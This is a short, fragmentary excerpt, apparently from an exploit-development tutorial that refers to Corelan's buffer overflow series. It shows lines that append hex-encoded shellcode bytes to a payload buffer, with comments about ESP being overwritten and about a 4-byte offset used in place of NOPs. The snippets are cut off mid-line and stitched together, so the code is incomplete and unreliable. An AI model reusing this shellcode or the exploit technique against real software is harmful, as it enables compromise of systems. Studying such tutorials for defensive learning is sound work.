# we created in part 1 of corelans tutorials. buf += "\xb5\x66\x60\x40\x91\xc8\x0d\x5d\xa5\x7d\x01\xc2\x7e" buf += "\xc0\x4d\x9b\x7f\xb0\xfc\x90\x9d\x5e\x55\x92\x6e ...
# 4 bytes instead of nops since we also prevously observed # that ESP gets overwrited with a 4 byte "offset". buf += "\xb5\x66\x60\x40\x91\xc8\x0d\x5d\xa5\x7d\x01\xc2 ...